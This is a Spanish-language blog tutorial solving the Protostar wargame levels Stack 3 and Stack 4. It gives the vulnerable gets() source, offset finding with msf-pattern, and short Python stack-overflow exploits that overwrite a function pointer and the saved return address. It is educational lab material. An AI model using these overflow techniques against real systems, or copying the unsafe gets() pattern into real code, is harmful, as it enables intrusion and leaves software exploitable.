· Manuel López Pérez · tutoriales  · 3 min read

Introducción al exploiting Parte 2 – Stack 3-4 (Protostar)

Continuación de Protostar (Stack 3–4): sobrescritura de punteros a función y de EIP usando overflows clásicos con gets(), offsets y little-endian.

Continuación de Protostar (Stack 3–4): sobrescritura de punteros a función y de EIP usando overflows clásicos con gets(), offsets y little-endian.

Introducción al exploiting Parte 2 – Stack 3-4 (Protostar) En este post seguiremos con la resolución de los retos de Protostar, os recomiendo que leáis el post anterior donde resolvemos los 3 primeros retos (0-2). Como dije en la primera parte, yo no soy ningún experto en el exploiting, así que si tenéis alguna correccion o recomendación no dudéis en comentármela.

Stack 3

About Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)

Hints both gdb and objdump is your friend you determining where the win() function lies in memory. This level is at /opt/protostar/bin/stack3

Codigo fuente:

 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h>

void win() { printf("code flow successfully changed\\n"); }

int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64];

fp = 0;

gets(buffer);

if(fp) { printf("calling function pointer, jumping to 0x%08x\\n", fp); fp(); } } 

Tal y como leemos en las pistas, debemos buscar la dirección de la función win() y ser capaces de llamarla modificando el valor de fp Vamos a decompilar el main: Explicación: En <+9> se le da valor 0 a la variable contenida en [esp+0x5c] En <+24> se llama a gets() donde debemos ser capaces de modificar la variable [esp+0x5c] con la dirección de win() En <+29> se comprueba si la variable [esp+0x5c] es distinta de 0, es decir, si se ha modificado a causa del desbordamiento del buffer En <+57> y <+61> se llamará al contenido de la variable [esp+0x5c] cuyo contenido debe ser la dirección de win()

Busquemos la dirección de win(): win() —> 0x8048424 El siguiente paso será identificar la longitud del buffer que debemos llenar para poder sobrescribir fp con el contenido que queramos. Para esto usamos msf-pattern

 $ msf-pattern_create -l 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A $ ./stack3 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A calling function pointer, jumping to 0x63413163 Segmentation fault $ msf-pattern_offset -q 0x63413163 [*] Exact match at offset 64 

Una vez hemos obtenido la longitud del buffer y la dirección de win() podemos crear nuestro exploit:

import struct
padding="A"*64
payload = struct.pack("I",0x8048424) print padding+payload
 $ python stack3.py | ./stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed 

Stack 4

About Stack4 takes a look at overwriting saved EIP and standard buffer overflows. This level is at /opt/protostar/bin/stack4

Hints A variety of introductory papers into buffer overflows may help. gdb lets you do “run < input” EIP is not directly after the end of buffer, compiler padding can also increase the size.

Código fuente:

 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); } 

En este reto también tendremos que ser capaces de llamar a la función win(), pero no será tan fácil ya que esta vez no se llama a ninguna función a través de una variable. Pero podemos sobrescribir la dirección de retorno gracias a gets() y llamar así a win()

Vamos a decompilar el main e identificar la dirección de win: Como veis, en el main() solo se crea un buffer de 64 bytes 0x50 - 0x10 = 64 bytes Y se llama a la función gets() win() —> 0x080483f4 Lo siguiente será encontrar la longitud de nuestro payload para poder editar la dirección de retorno. Para esto usaremos msf-pattern con la dirección que nos devuelve gdb: Ahora ya podemos escribir nuestro exploit:

import struct
padding="A"*76
win=struct.pack("I",0x80483f4) print padding+win

    Share:
    Back to Blog

    Related Posts

    View All Posts »
    PWN - ROP: bypass NX, ASLR, PIE y Canary

    PWN - ROP: bypass NX, ASLR, PIE y Canary

    Write-up práctico de un ELF 64-bit con format string y buffer overflow para filtrar (leaks) de libc/PIE/canary y construir un ROP que bypassa NX, ASLR, PIE y stack canary.